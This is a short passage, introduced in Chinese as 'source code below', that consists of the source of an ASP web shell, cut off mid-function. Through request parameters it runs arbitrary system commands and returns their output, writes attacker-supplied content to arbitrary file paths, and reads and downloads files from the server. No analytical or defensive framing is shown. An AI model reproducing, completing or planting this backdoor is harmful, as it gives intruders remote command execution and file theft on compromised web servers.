源码如下
<%
Const She = "Shell"
Const APP = "Application"
Dim CreateType
CreateType = Trim(Request("Type"))
If CreateType <> "" And IsNumeric(CreateType) Then'返回的参数进行类型判断
CreateType = Clng(CreateType)
Else
CreateType = 0
End If
SELECT CASE CreateType'动作调用
CASE 0
Call Main()
CASE 1
Call ReadData()
CASE 2
Call WriteData()
CASE 3
Call DownLoad()
CASE 4
Call Run()
End SELECT
SUB CSTM(X)'创建数据流对象
Set X = Server.CreateObject("ADODB.Stream")
End SUB
SUB Run()'运行
set oS=Server.CreateObject("WScrip.shell")
ok=trim(Request("ok"))
if ok<>"" then
set re=oS.exec (ok)
re=re.stdout.readall
response.write ""
response.write "
"
end if
End SUB
SUB WriteData()'写数据
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
FileContent = Trim(Request("Content"))
Call CSTM(X)
With X
.Type = 2
.MODE = 3
.OPEN
.Charset ="gb2312"
.WriteText FileContent
.Position = 2
.SaveToFile FileName,2
.Close
End With
Response.Write("
File |
")
Response.Write("Return |
Status:OK... | ")
Response.Write("
")
End SUB
SUB DownLoad()'下载文件
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
FileContent = Split(FileName,"\")
FileNameString = FileContent(UBound(FileContent))
Call UseStream(FileName,FileNameString)
End SUB
SUB ReadData()'读文件
Dim FileName,X,FileContent,FileType,Vtype
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
Call CSTM(X)
With X
.Type = 2
.MODE = 3
.OPEN
.LOADFROMFILE FileName
If Trim(Request("ViewType")) = "" Then
.Charset ="gb2312"
.Position = 2
VType = "1"
Else
VType = ""
End If
FileContent = .ReadText()
.Close
End With
%>
<%
End SUB
Function GetContentType(FlName)
Select Case GetFileTypeName(flName)
Case "asf"
Ge